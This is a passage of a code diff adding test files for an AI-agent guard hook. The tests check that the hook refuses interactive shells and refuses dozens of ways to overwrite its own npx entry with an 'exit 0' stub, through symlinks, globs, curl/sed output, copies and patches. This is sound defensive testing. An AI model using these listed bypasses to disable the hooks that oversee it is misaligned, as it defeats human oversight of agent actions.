opensInteractiveSession } from "../../src/hooks/codex-interactive-session"; +import type { PolicyContext } from "../../src/hooks/policy-types"; + +describe("opensInteractiveSession", () => { + it.each([ + "bash -i", "bash", "sh", "zsh -l", "/bin/bash --login", "fish", "bash -s", "exec bash", "env TERM=xterm bash -i", + "cd /tmp && bash", "FOO=1 bash -i", "busybox sh", "pwsh", "nu", + "python3", "python", "python3.12 -i", "python -i script.py", "python3 -m asyncio", "python -m pdb x.py", "python3 -", "ipython", "pypy3", + "node", "node -i", "deno", "bun repl", "irb", "pry", "ruby", "perl", "perl -de0", "php -a", "lua", "lua -i", "ghci", "R", "julia", "iex", + "tmux", "tmux new -s work", "tmux attach -t work", "screen", "screen -S x", + "ssh host", "ssh -p 2222 user@host", "ssh host bash", "mosh host", "telnet host", "sftp host", + "docker exec -it web sh", "docker run -it ubuntu", "docker run --interactive --rm img", "podman exec -i c bash", "docker attach web", + "kubectl exec -it pod -- sh", "kubectl run tmp -i --image=busybox", "kubectl debug -it pod", + "su", "su - root", "sudo -i", "sudo -s", "sudo bash", "sudo -u app bash", "doas sh", + "script", "script -q /dev/null", "nix-shell", "nix develop", "nix repl", "poetry shell", "pipenv shell", "vagrant ssh", + "vim notes.txt", "nvim", "ed file.txt", "emacs file", "nano x", "gdb ./a.out", "sqlite3 app.db", "psql", "mysql -u root", "redis-cli", + "nohup bash -i", "timeout 60 bash -i", "time python3", + // Nested and redirected shells, and shells an interpreter starts (hermes on #1058). + "bash -c 'bash -i'", "sh -c \"exec bash\"", "bash -lc 'zsh'", "bash -i < /dev/tty", "bash <&0", "bash < /dev/stdin", + "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'", "perl -e 'exec \"/bin/sh\"'", "node -e 'require(\"child_process\").spawnSync(\"bash\", {stdio: \"inherit\"})'", + ])("refuses %s", (command) => { + expect(opensInteractiveSession(command)).not.toBeNull(); + }); + + it.each([ + "ls -la", "npm run dev", "npm test", "bun run build", "cargo run", "make", "git log", "git status", + "bash script.sh", "bash -c 'echo hi'", "bash -lc 'make test'", "sh ./configure", "zsh -c ls", "echo ls | bash", "bash < setup.sh", + "bash <<'EOF'\necho hi\nEOF", + "python3 script.py", "python -c 'print(1)'", "python3 -m pytest", "python -m http.server 8000", "python3 < x.py", "cat x.py | python3", + "node server.js", "node -e 'console.log(1)'", "node --version", "deno run main.ts", "bun x.ts", "ruby -e 'puts 1'", "ruby app.rb", "perl -ne 'print' f", + "man ls", "less README.md", "git diff | less", "tmux send-keys -t work 'ls' Enter", "tmux ls", "screen -ls", + "ssh host uptime", "ssh -N -L 8080:localhost:80 host", "sftp -b batch.txt host", + "docker ps", "docker exec web ls", "docker run --rm img echo hi", "kubectl get pods", "kubectl exec pod -- ls", + "su -c 'whoami' root", "sudo ls", "sudo -u app make", "script -c 'make' log.txt", + "nix-shell --run make", "nix develop -c make", "gdb -batch -ex bt ./a.out", "emacs --batch -l x.el", + "sqlite3 app.db 'select 1'", "psql -c 'select 1'", "mysql -e 'select 1'", "redis-cli ping", + "echo 'bash -i'", "grep python3 file", "# bash -i", + // Version and help flags print and exit (hermes on #1058). + "python3 --version", "python3 -V", "python3 --help", "python -h", "bash --version", "bash --help", "zsh --version", + "node --version", "ruby --version", "perl -V", "psql --version", "sqlite3 --version", "tmux -V", + "bash -c 'ls -la'", "python3 -c 'import os; print(os.getcwd())'", + ])("allows %s", (command) => { + expect(opensInteractiveSession(command)).toBeNull(); + }); +}); + +describe("codexCallOpensSession and the guard", () => { + it("judges only a canonical Bash call on PreToolUse", () => { + expect(codexCallOpensSession("PreToolUse", "Bash", { command: "bash -i" })).not.toBeNull(); + expect(codexCallOpensSession("PostToolUse", "Bash", { command: "bash -i" })).toBeNull(); + expect(codexCallOpensSession("PreToolUse", "Edit", { command: "bash -i" })).toBeNull(); + expect(codexCallOpensSession("PreToolUse", "Bash", {})).toBeNull(); + }); + + it("denies and tells the agent what to do instead", () => { + const ctx = { eventType: "PreToolUse", payload: {}, toolName: "Bash", toolInput: {} } as PolicyContext; + const result = codexSessionGuardFor("an interactive bash shell")(ctx); + expect(result.decision).toBe("deny"); + expect(result.reason).toContain("an interactive bash shell"); + expect(result.reason).toContain("Run each command on its own"); + }); +}); diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts new file mode 100644 index 000000000..499334436 --- /dev/null +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -0,0 +1,1543 @@ +// @vitest-environment node +import { describe, it, expect, vi, beforeAll, afterAll } from "vitest"; +import { mkdirSync, mkdtempSync, readFileSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { BUILTIN_POLICIES } from "../../src/hooks/builtin-policies"; +import { listIntegrations } from "../../src/hooks/integrations"; +import type { PolicyContext } from "../../src/hooks/policy-types"; + +// Same mocks as guard-installed-code.test.ts. The symlink cases below use the +// real synchronous `node:fs` on a temp directory, which these leave alone. +vi.mock("node:fs/promises", () => ({ + readFile: vi.fn(), + writeFile: vi.fn(), + stat: vi.fn().mockResolvedValue({ size: 0 }), + open: vi.fn(), +})); + +vi.mock("node:child_process", () => ({ + execSync: vi.fn(), + execFileSync: vi.fn(), +})); + +function makeCtx(overrides: Partial = {}): PolicyContext { + return { eventType: "PreToolUse", payload: {}, toolName: undefined, toolInput: undefined, ...overrides }; +} + +const policy = BUILTIN_POLICIES.find((p) => p.name === "block-failproofai-commands")!; + +const bash = async (command: string) => + (await policy.fn(makeCtx({ toolName: "Bash", toolInput: { command } }))).decision; + +const bashIn = async (cwd: string, command: string) => + (await policy.fn(makeCtx({ toolName: "Bash", toolInput: { command }, session: { cwd } }))).decision; + +const write = async (file_path: string, cwd?: string) => + policy.fn( + makeCtx({ + toolName: "Write", + toolInput: { file_path, content: "#!/bin/sh\nexit 0\n" }, + ...(cwd ? { session: { cwd } } : {}), + }), + ); + +/** A command as the named agent CLI sends it, from the project's directory. */ +const bashAs = async (cli: PolicyContext["cli"], toolInput: Record) => + (await policy.fn(makeCtx({ toolName: "Bash", toolInput, cli, session: { cwd: "/work/proj" } }))).decision; + +/** An `Edit` carrying a patch the way Codex's `apply_patch` does. */ +const patch = async (toolInput: Record, cwd = "/work/proj") => + (await policy.fn(makeCtx({ toolName: "Edit", toolInput, session: { cwd } }))).decision; + +/** A patch in the format Codex's `apply_patch` takes. */ +const v4a = (...lines: string[]) => ["*** Begin Patch", ...lines, "*** End Patch", ""].join("\n"); + +/** `count` option words of 32 distinct letters, each with a value glued on. */ +const optionClusters = (count: number) => + Array.from({ length: count }, (_, i) => { + let letters = ""; + for (let k = 0, n = i; k < 31; k++, n = Math.floor(n / 26) + k) letters += "abcdefghijklmnopqrstuvwxyz"[n % 26]; + return `-${letters}q${i}`; + }).join(" "); + +/** + * A project-scope hook is `npx -y failproofai --hook …`, so that a committed + * settings file names no machine's path. npx runs a + * `node_modules/.bin/failproofai` it finds in the project, or in ANY directory + * above it, before the global install or its own cache, without checking what + * the file is. One Write of `exit 0` there turned every later hook in that tree + * into an allow, and the stub stayed for every later session — the guard + * protected `~/.failproofai` and, with #1050, the installed package, but not + * the entry npx actually runs. (FailproofAI/agenteye#1795) + */ +describe("block-failproofai-commands — the entry a project-scope npx hook runs", () => { + describe("file tools", () => { + it.each([ + ["the project's own", "/work/proj/node_modules/.bin/failproofai"], + ["a parent directory's", "/work/node_modules/.bin/failproofai"], + ["the home directory's, above every project in it", "/home/u/node_modules/.bin/failproofai"], + ["the npx cache's", "/home/u/.npm/_npx/0a1b2c3d4e5f6789/node_modules/.bin/failproofai"], + ["a monorepo package's", "/work/proj/packages/api/node_modules/.bin/failproofai"], + ])("denies writing %s node_modules/.bin/failproofai", async (_where, path) => { + const result = await write(path); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/failproofai's installed code/); + }); + + // npm writes `.cmd` and `.ps1` shims beside the entry on Windows, and bun + // writes `.exe` and `.bunx`. + it.each([ + "C:\\work\\proj\\node_modules\\.bin\\failproofai", + "C:\\work\\proj\\node_modules\\.bin\\failproofai.cmd", + "C:\\work\\proj\\node_modules\\.bin\\failproofai.ps1", + "C:/work/proj/node_modules/.bin/failproofai.exe", + "C:/work/proj/node_modules/.bin/failproofai.bunx", + ])("denies writing the Windows entry %s", async (path) => { + expect((await write(path)).decision).toBe("deny"); + }); + + it("denies Edit and NotebookEdit of the entry", async () => { + const edit = await policy.fn( + makeCtx({ + toolName: "Edit", + toolInput: { file_path: "/work/proj/node_modules/.bin/failproofai", old_string: "exec", new_string: "exit 0 #" }, + }), + ); + expect(edit.decision).toBe("deny"); + const notebook = await policy.fn( + makeCtx({ toolName: "NotebookEdit", toolInput: { notebook_path: "/work/proj/node_modules/.bin/failproofai" } }), + ); + expect(notebook.decision).toBe("deny"); + }); + + it("denies the relative path a write from the project names", async () => { + expect((await write("node_modules/.bin/failproofai", "/work/proj")).decision).toBe("deny"); + expect((await write("./node_modules/.bin/failproofai", "/work/proj")).decision).toBe("deny"); + expect((await write("../node_modules/.bin/failproofai", "/work/proj")).decision).toBe("deny"); + }); + + // macOS volumes are case-insensitive by default, and a path resolver + // collapses `//` and `/./`: every one of these opens the same file. + it("matches every spelling that opens the same file", async () => { + expect((await write("/Users/u/proj/Node_Modules/.BIN/FailproofAI")).decision).toBe("deny"); + expect((await write("/work/proj/node_modules//.bin/./failproofai")).decision).toBe("deny"); + }); + + // Codex's `apply_patch` (canonical `Edit`) carries its patch in + // `tool_input.command` and names no `file_path`; OpenCode's sends + // `patchText`. Every file a patch names is one the tool writes (found by + // hermes on FailproofAI/failproofai#1058). + describe("patches", () => { + it.each([ + ["a file it adds", { command: v4a("*** Add File: node_modules/.bin/failproofai", "+#!/bin/sh", "+exit 0") }], + ["a file it updates", { command: v4a("*** Update File: node_modules/.bin/failproofai", "@@", "-exec node cli.mjs", "+exit 0") }], + ["a file it deletes", { command: v4a("*** Delete File: node_modules/.bin/failproofai") }], + ["where it moves a file to", { command: v4a("*** Update File: scripts/stub.sh", "*** Move to: node_modules/.bin/failproofai", "@@", "+exit 0") }], + ["an absolute path", { command: v4a("*** Add File: /work/proj/node_modules/.bin/failproofai", "+exit 0") }], + ["a parent directory's entry", { command: v4a("*** Add File: ../node_modules/.bin/failproofai", "+exit 0") }], + ["a loosely spaced header", { command: v4a(" *** Add File: node_modules/.bin/failproofai ", "+exit 0") }], + ["the state", { command: v4a("*** Update File: /home/u/.failproofai/policies-config.json", "@@", "+{}") }], + ["the entry, as OpenCode's patchText", { patchText: v4a("*** Add File: node_modules/.bin/failproofai", "+exit 0") }], + ["the entry, in an argv", { command: ["apply_patch", v4a("*** Add File: node_modules/.bin/failproofai", "+exit 0")] }], + ["the entry, as a unified diff", { command: "--- a/node_modules/.bin/failproofai\n+++ b/node_modules/.bin/failproofai\n@@ -1 +1 @@\n-exec\n+exit 0\n" }], + ["the entry, from the directory the call names", { command: v4a("*** Add File: failproofai", "+exit 0"), workdir: "/work/proj/node_modules/.bin" }], + ])("denies a patch naming %s", async (_label, toolInput) => { + expect(await patch(toolInput)).toBe("deny"); + }); + + it("denies a patch naming the entry from a session standing in .bin", async () => { + expect(await patch({ command: v4a("*** Add File: failproofai", "+exit 0") }, "/work/proj/node_modules/.bin")).toBe("deny"); + }); + + it.each([ + ["a patch to project files", { command: v4a("*** Update File: src/app.ts", "@@", "-a", "+b", "*** Add File: src/new.ts", "+x") }], + ["a patch adding another package's entry", { command: v4a("*** Add File: node_modules/.bin/my-tool", "+exit 0") }], + ["a unified diff of project files", { command: "--- a/src/app.ts\n+++ b/src/app.ts\n@@ -1 +1 @@\n-a\n+b\n" }], + // What the tool writes is not a patch it applies, whatever it says. + ["an Edit whose new text quotes a header", { file_path: "docs/patching.md", old_string: "a", new_string: "*** Add File: node_modules/.bin/failproofai" }], + ])("allows %s", async (_label, toolInput) => { + expect(await patch(toolInput)).toBe("allow"); + }); + + it("allows a Write whose content quotes a header", async () => { + const result = await policy.fn( + makeCtx({ + toolName: "Write", + toolInput: { file_path: "docs/patching.md", content: "*** Update File: node_modules/.bin/failproofai\n" }, + session: { cwd: "/work/proj" }, + }), + ); + expect(result.decision).toBe("allow"); + }); + }); + + describe("through links", () => { + let root: string; + + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "fpai-npx-guard-")); + mkdirSync(join(root, "proj", "node_modules", ".bin", "sub"), { recursive: true }); + mkdirSync(join(root, "proj", "tools"), { recursive: true }); + // Neither link's own path says anything about failproofai or `.bin`. + symlinkSync(join(root, "proj", "node_modules", ".bin"), join(root, "proj", "tools", "bins")); + symlinkSync(join(root, "proj", "node_modules", ".bin", "failproofai"), join(root, "proj", "tools", "hook")); + // A link into a directory below `.bin`, and one to `node_modules`. + symlinkSync(join(root, "proj", "node_modules", ".bin", "sub"), join(root, "proj", "tools", "deep")); + symlinkSync(join(root, "proj", "node_modules"), join(root, "proj", "nm")); + mkdirSync(join(root, "proj", "out")); + }); + + afterAll(() => { + rmSync(root, { recursive: true, force: true }); + }); + + // The entry does not exist yet in a project with no dependencies, so the + // link is dangling: the write creates the stub at the link's target. + it("denies a write through a link to the entry, even before it exists", async () => { + expect((await write(join(root, "proj", "tools", "hook"))).decision).toBe("deny"); + }); + + it("denies a write through a link to the .bin directory", async () => { + expect((await write(join(root, "proj", "tools", "bins", "failproofai"))).decision).toBe("deny"); + expect((await write("tools/bins/failproofai", join(root, "proj"))).decision).toBe("deny"); + }); + + it("still allows other files through the same link", async () => { + expect((await write(join(root, "proj", "tools", "bins", "my-script"))).decision).toBe("allow"); + }); + + // The shell follows the same links the file tools do. + it.each([ + "printf x > tools/bins/failproofai", + "cp /tmp/stub.sh tools/bins/failproofai", + "cp /tmp/stage/failproofai tools/bins/", + "tee tools/bins/failproofai < /tmp/stub.sh", + "printf x > tools/hook", + // A `..` after a link steps out of where the link points, as the + // kernel resolves it, not out of the link's own directory. + "printf x > tools/deep/../failproofai", + "cp /tmp/stub.sh tools/deep/../failproofai", + // What a copy puts INTO a linked bin directory: contents, a glob, a + // name the server picks. + "cp -r /tmp/stage/. tools/bins/", + "cp -rT /tmp/stage tools/bins", + "cp /tmp/stage/* tools/bins/", + "curl --output-dir tools/bins -OJ https://example.com/dl", + // A directory named `.bin` moved into a linked `node_modules`. + "mv /tmp/x/.bin nm/", + ])("denies a shell write through a link: %s", async (command) => { + expect(await bashIn(join(root, "proj"), command)).toBe("deny"); + expect(await bash(`cd '${join(root, "proj")}' && ${command}`)).toBe("deny"); + }); + + it.each([ + "printf x > tools/bins/my-script", + "cat tools/bins/failproofai", + "ls -la tools/bins/ > listing.txt", + "printf x > tools/deep/../my-tool", + "cp -r /tmp/stage/. out/", + ])( + "still allows shell work through a link: %s", + async (command) => { + expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); + }, + ); + + it("denies a patch through a link to the entry or the .bin directory", async () => { + for (const file of ["tools/hook", "tools/bins/failproofai", "tools/deep/../failproofai"]) { + expect(await patch({ command: v4a(`*** Update File: ${file}`, "@@", "+exit 0") }, join(root, "proj"))).toBe("deny"); + } + }); + + // An output file glued to its option, through a link on disk (found by + // hermes on FailproofAI/failproofai#1058). + it.each([ + "curl -sohook https://example.com/x", + "curl -so./hook https://example.com/x", + "curl -sobins/failproofai https://example.com/x", + "wget -qOhook https://example.com/x", + "gcc -ohook main.c", + ])("denies an output file glued to its option through a link: %s", async (command) => { + expect(await bashIn(join(root, "proj", "tools"), command)).toBe("deny"); + }); + + it("denies a sed script writing the entry through a link", async () => { + expect(await bashIn(join(root, "proj"), "sed -n 'w tools/bins/failproofai' /tmp/stub.sh")).toBe("deny"); + expect(await bashIn(join(root, "proj"), "sed -n '1wtools/hook' /tmp/stub.sh")).toBe("deny"); + expect(await bashIn(join(root, "proj"), "sed -e 's/w/x/;1wtools/hook' /tmp/stub.sh")).toBe("deny"); + }); + + it("denies a named output that curl puts into a linked --output-dir", async () => { + expect(await bashIn(join(root, "proj"), "curl --output-dir tools/bins -o failproofai https://example.com/x")).toBe("deny"); + }); + + it("allows a glued output file that is no link", async () => { + expect(await bashIn(join(root, "proj", "tools"), "curl -sohook.txt https://example.com/x")).not.toBe("deny"); + }); + + // Links this line makes, resolved as the kernel resolves them: each `..` + // after the link it follows, any number of them up to the kernel's 40, + // and every form of `ln` that puts one inside a directory (found by + // hermes on FailproofAI/failproofai#1058). + it.each([ + ["a `..` after a link made on the line", "ln -s node_modules/.bin/sub inline-deep; printf x > inline-deep/../failproofai"], + ["the same, after &&", "ln -s node_modules/.bin/sub inline-deep && cp /tmp/stub.sh inline-deep/../failproofai"], + [ + "a chain of ten links", + ["ln -s node_modules/.bin l1", ...Array.from({ length: 9 }, (_, i) => `ln -s l${i + 1} l${i + 2}`)].join("; ") + + "; printf x > l10/failproofai", + ], + [ + "a chain longer than the kernel follows", + ["ln -s node_modules/.bin l1", ...Array.from({ length: 44 }, (_, i) => `ln -s l${i + 1} l${i + 2}`)].join("; ") + + "; printf x > l45/failproofai", + ], + ["two links pointing at each other", "ln -s a b; ln -s b a; printf x > a/x"], + ["a link put into the current directory", "ln -s node_modules/.bin/failproofai .; printf x > failproofai"], + ["a link put into a directory with a slash", "ln -s node_modules/.bin/failproofai out/; printf x > out/failproofai"], + ["a link put into an existing directory", `ln -s ROOT/node_modules/.bin/failproofai out; printf x > out/failproofai`], + ["a link put into -t's directory", `ln -st out ROOT/node_modules/.bin/failproofai; printf x > out/failproofai`], + ["a link put into --target-directory's", `ln --symbolic --target-directory=out ROOT/node_modules/.bin/failproofai; printf x > out/failproofai`], + ["ln -s with one operand", "ln -s node_modules/.bin/failproofai; printf x > failproofai"], + ["a directory the line makes first", `mkdir newdir; ln -s ROOT/node_modules/.bin/failproofai newdir; printf x > newdir/failproofai`], + ["ln -r, which reads the target from here", "ln -sr node_modules/.bin/failproofai out/x; printf x > out/x"], + ["a target the walk cannot read, naming .bin", 'ln -s "$(npm root)/.bin" b; printf x > b/failproofai'], + ["a target the walk cannot read at all", 'ln -s "$D" b; printf x > b/failproofai'], + ["a substitution's directory, filled with what is in another", 'ln -s "$(npm root)/.bin" d; cp -r /tmp/stage/. d/'], + ])("denies a write through %s", async (_label, command) => { + expect(await bashIn(join(root, "proj"), command.replaceAll("ROOT", join(root, "proj")))).toBe("deny"); + }); + + // `cd -P` (or any `cd` after `set -P`) stands where the path really is, + // each link followed before its `..` (found by hermes on + // FailproofAI/failproofai#1058); a logical `cd` takes `..` as text, as + // bash does, and the kernel still follows links in what is written after. + it.each([ + "cd -P tools/deep/.. && printf x > failproofai", + "cd -LP tools/deep/.. && printf x > failproofai", + "set -P; cd tools/deep/.. && printf x > failproofai", + "set -o physical; cd tools/deep/.. && printf x > failproofai", + "cd -P tools/deep && cd .. && printf x > failproofai", + "cd tools/deep && printf x > ../failproofai", + // A subshell's shell options are its own (found by hermes on + // FailproofAI/failproofai#1058). + "set -P; (set +P); cd tools/deep/.. && printf x > failproofai", + "(set -P; cd tools/deep/.. && printf x > failproofai)", + ])("denies a write after a physical move through a link: %s", async (command) => { + expect(await bashIn(join(root, "proj"), command)).toBe("deny"); + }); + + it.each([ + "cd tools/deep/.. && printf x > failproofai", + "cd -L tools/deep/.. && printf x > failproofai", + "set -P; set +P; cd tools/deep/.. && printf x > failproofai", + "(set -P); cd tools/deep/.. && printf x > failproofai", + "(set -P; cd tools/deep/..); printf x > failproofai", + ])("still allows a write after a logical move: %s", async (command) => { + expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); + }); + + // A glob expands where its literal directories really are (found by + // hermes on FailproofAI/failproofai#1058). + it.each([ + "cp /tmp/stub.sh tools/bins/fail*", + "cp /tmp/stub.sh tools/bins/failpro?fai", + "cp /tmp/stub.sh tools/bins/[f]ailproofai", + "printf x > tools/bins/fail*", + "cd tools/bins && cp /tmp/stub.sh fail*", + "cp /tmp/stub.sh tools/deep/../fail*", + ])("denies a glob that expands onto the entry through a link: %s", async (command) => { + expect(await bashIn(join(root, "proj"), command)).toBe("deny"); + }); + + it.each(["ls tools/bins/*", "cat tools/bins/fail*", "cp /tmp/stub.sh tools/bins/my-*", "rm -rf tools/bins/*"])( + "still allows a glob through a link that is no write of the entry: %s", + async (command) => { + expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); + }, + ); + + it.each([ + "ln -s node_modules/.bin/sub d; printf x > d/../notes.txt", + "ln -s /tmp/x y; echo hi > y", + 'ln -s "$TARGET" current; echo hi > current/log.txt', + "ln -sf build/app current; ./current --version", + // A variable the line never sets is read as an unknown `cd` is. + 'ln -sfn "$RELEASE_DIR" current && cp -r shared/config current/', + ])("still allows a write through a link made on the line: %s", async (command) => { + expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); + }); + }); + + // A pattern in a directory component is expanded the way the shell expands + // it, against what is on disk, and each path it reaches is followed through + // its links: with `bins` a link to `node_modules/.bin` and the entry there, + // `b*/failproofai` is the entry (found by hermes on + // FailproofAI/failproofai#1058). + describe("globs expanded on disk", () => { + let root: string; + + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "fpai-npx-glob-")); + mkdirSync(join(root, "proj", "node_modules", ".bin"), { recursive: true }); + mkdirSync(join(root, "proj", "src")); + mkdirSync(join(root, "proj", "out")); + writeFileSync(join(root, "proj", "node_modules", ".bin", "failproofai"), "#!/bin/sh\n"); + writeFileSync(join(root, "proj", "package.json"), "{}\n"); + symlinkSync(join(root, "proj", "node_modules", ".bin"), join(root, "proj", "bins")); + symlinkSync(join(root, "proj", "node_modules", ".bin", "failproofai"), join(root, "proj", "hook")); + }); + + afterAll(() => { + rmSync(root, { recursive: true, force: true }); + }); + + it.each([ + "cp /tmp/stub.sh b*/failproofai", + "cp /tmp/stub.sh bi?s/failproofai", + "cp /tmp/stub.sh [b]ins/failproofai", + "printf x > b*/failproofai", + "tee {bins,x}/failproofai < /tmp/stub.sh", + // A pattern or brace in the last component that matches a link to the + // entry (found by hermes on FailproofAI/failproofai#1058). + "cp /tmp/stub.sh hoo*", + "printf x > ho?k", + "cp /tmp/stub.sh {hook,nothing}", + "tee {hook,x} < /tmp/stub.sh", + // Past the brace words that are expanded on disk, the rest are refused, + // not dropped: `hook` is the 65th word here (found by hermes on + // FailproofAI/failproofai#1058). + "tee {x{a,b,c,d}{1,2,3,4}{i,j,k,l},hook} { + expect(await bashIn(join(root, "proj"), command)).toBe("deny"); + }); + + it.each([ + "cat */package.json", + "rm -rf */dist", + "ls b*/", + "cp /tmp/stub.sh s*/notes.txt", + "tee {out,src}/notes.txt < /tmp/stub.sh", + // Sweeps of npm's bin directory and `node_modules` stay sweeps with the + // entry on disk, and reading through a link is a read. + "rm -rf node_modules/.bin/*", + "rm -rf node_modules/*", + "ls *", + "cat hook", + "tee {x{a,b,c,d}{1,2,3,4}{i,j,k,l},notes} { + expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); + }); + }); + + // The entry, and nothing else that lives beside it or shares its name. + it.each([ + ["another package's entry", "/work/proj/node_modules/.bin/tsc"], + ["an entry that only shares a prefix", "/work/proj/node_modules/.bin/failproofai-extras"], + ["a name npx never runs for `failproofai`", "/work/proj/node_modules/.bin/failproofai.sh"], + ["a project file named after the product", "/work/proj/scripts/failproofai.sh"], + ["a directory of that name under .bin", "/work/proj/.bin/failproofai/README.md"], + ["a file under a directory whose name ends in .bin", "/data/firmware.bin/failproofai"], + // Anything in front of `.bin` in the same component makes it another name. + ["a fixture under a directory named fixture+.bin", "/work/proj/fixture+.bin/failproofai"], + ])("allows writing %s", async (_label, path) => { + expect((await write(path)).decision).toBe("allow"); + }); + }); + + describe("shell commands", () => { + it.each([ + ["a redirect", "printf '#!/bin/sh\\nexit 0\\n' > node_modules/.bin/failproofai"], + ["an append", "echo 'exit 0' >> ./node_modules/.bin/failproofai"], + ["a copy", "cp /tmp/stub.sh node_modules/.bin/failproofai"], + ["a move", "mv /tmp/stub.sh node_modules/.bin/failproofai"], + ["a link", "ln -sf /tmp/stub.sh node_modules/.bin/failproofai"], + ["tee", "tee node_modules/.bin/failproofai < /tmp/stub.sh"], + ["install", "install -m 755 /tmp/stub.sh node_modules/.bin/failproofai"], + ["making a stub executable", "chmod +x node_modules/.bin/failproofai"], + ["an in-place sed", "sed -i 's/exec/exit 0 #/' node_modules/.bin/failproofai"], + ["an interpreter writing it", `python3 -c "open('node_modules/.bin/failproofai','w').write('exit 0')"`], + ["a parent directory's entry", "cp /tmp/stub.sh ../node_modules/.bin/failproofai"], + ["the home directory's entry", "cp /tmp/stub.sh ~/node_modules/.bin/failproofai"], + ["the entry named from inside node_modules", "cd node_modules && cp /tmp/stub.sh .bin/failproofai"], + ["the Windows shim", "cp /tmp/stub.cmd node_modules/.bin/failproofai.cmd"], + ["a variable holding the entry", "B=node_modules/.bin/failproofai; cp /tmp/stub.sh $B"], + ["a glob onto the entry", "cp /tmp/stub.sh node_modules/.bin/fail*"], + ["a quoted spelling", `cp /tmp/stub.sh node_modules/.bin/fail"proof"ai`], + // The path is on the line only in pieces: a file named `failproofai` + // copied, moved or linked INTO the directory npx searches. + ["a copy into the .bin directory", "cp /tmp/stage/failproofai node_modules/.bin/"], + ["a copy into the .bin directory, no trailing slash", "cp /tmp/stage/failproofai node_modules/.bin"], + ["a move into the .bin directory", "mv ./failproofai node_modules/.bin/"], + ["a link into the .bin directory", "ln -s /tmp/stage/failproofai node_modules/.bin"], + ["a copy with -t", "cp -t node_modules/.bin /tmp/stage/failproofai"], + ["a copy with --target-directory=", "cp --target-directory=node_modules/.bin /tmp/stage/failproofai"], + ["install -D into the directory", "install -D -m 755 /tmp/stage/failproofai node_modules/.bin/"], + ["rsync into the directory", "rsync -a /tmp/stage/failproofai node_modules/.bin/"], + ["a copy among other files", "cp /tmp/a.sh /tmp/stage/failproofai /tmp/b.sh node_modules/.bin/"], + ["a copy after --", "cp -- /tmp/stage/failproofai node_modules/.bin/"], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // The same rule reaches the paths #1050 protects: moving a package + // directory named `failproofai` into a global `node_modules` replaces it. + it("denies moving a directory named failproofai into a node_modules", async () => { + expect(await bash("mv /tmp/build/failproofai /home/u/.nvm/versions/node/v22.11.0/lib/node_modules/")).toBe("deny"); + }); + + // Every GNU spelling of the target directory, which puts the sources AFTER + // it. rsync has no such option: its `-t` is `--times`, and its last operand + // is still the destination. + it.each([ + ["-t glued to its value", "cp -tnode_modules/.bin /tmp/stage/failproofai"], + ["-t at the end of a cluster", "cp -vt node_modules/.bin /tmp/stage/failproofai"], + ["-t inside install's cluster", "install -Dt node_modules/.bin /tmp/stage/failproofai"], + ["-t on ln", "ln -st node_modules/.bin /tmp/stage/failproofai"], + ["an abbreviated --target=", "cp --target=node_modules/.bin /tmp/stage/failproofai"], + ["an abbreviated --target with its value apart", "cp --target node_modules/.bin /tmp/stage/failproofai"], + ["rsync's -t, which is --times", "rsync -t /tmp/stage/failproofai node_modules/.bin/"], + ])("denies a copy into the .bin directory with %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // A redirect or a comment after the destination was read as the + // destination, so every copy check judged `2>/dev/null` or `x`. That let + // the state through too, before this file existed. + it.each([ + ["a stderr redirect", "cp /tmp/stub.sh node_modules/.bin/failproofai 2>/dev/null"], + ["a stdout redirect", "install -m 755 /tmp/stub.sh node_modules/.bin/failproofai > /dev/null"], + ["2>&1", "rsync /tmp/stub.sh node_modules/.bin/failproofai 2>&1"], + ["an input redirect", "cp /tmp/stub.sh node_modules/.bin/failproofai < /dev/null"], + ["a comment", "cp /tmp/stub.sh node_modules/.bin/failproofai # keep"], + ["a redirect after a copy into the directory", "cp /tmp/stage/failproofai node_modules/.bin/ 2>/dev/null"], + ["a redirect after a link into the directory", "ln -sf /tmp/stage/failproofai node_modules/.bin 2>/dev/null"], + ["the state, emptied the same way", "cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null"], + ])("denies a write followed by %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // A source that names a protected path is a copy OUT, except when it lands + // on installed code: a link spelled `…/bin/failproofai` is still a stub. + it("denies a protected-looking source when it lands on the entry", async () => { + expect(await bash("cp /tmp/bin/failproofai node_modules/.bin/")).toBe("deny"); + expect(await bash("rsync /tmp/bin/failproofai node_modules/.bin/")).toBe("deny"); + }); + + // A protected FILE sits in a directory nothing protects, so the walk has + // to read a relative word from where a `cd` left the shell. + it.each([ + ["a redirect after cd", "cd node_modules/.bin && printf 'exit 0' > failproofai"], + ["a copy after cd", "cd node_modules/.bin && cp /tmp/stub.sh failproofai"], + ["a copy after pushd", "pushd node_modules/.bin && cp /tmp/stub.sh failproofai"], + ["chmod after cd", "cd node_modules/.bin && chmod +x failproofai"], + ["two relative cds", "cd node_modules && cd .bin && cp /tmp/stub.sh failproofai"], + ["a cd outside a subshell that ran its own", "cd node_modules/.bin && (cd /tmp && ls) && cp /tmp/stub.sh failproofai"], + ["a copy of a file named failproofai into the directory", "cd node_modules/.bin && cp /tmp/stage/failproofai ."], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // A glob replaces the entry wherever it already exists, whatever path + // leads to it, so the candidates are tried against every stretch of it. + it.each([ + ["a parent directory", "cp /tmp/stub.sh ../node_modules/.bin/fail*"], + ["home", "cp /tmp/stub.sh ~/node_modules/.bin/fail*"], + ["an absolute path", "cp /tmp/stub.sh /work/proj/node_modules/.bin/fail*"], + // A default macOS volume resolves the literal parent whatever its case. + ["an upper-case parent", "rm -rf NODE_MODULES/.BIN/f*"], + // `/home/u/.failproofai` is a candidate itself; another home is not. + ["the state, by an absolute path", "rm -rf /home/alice/.failproof*"], + ["the state, behind 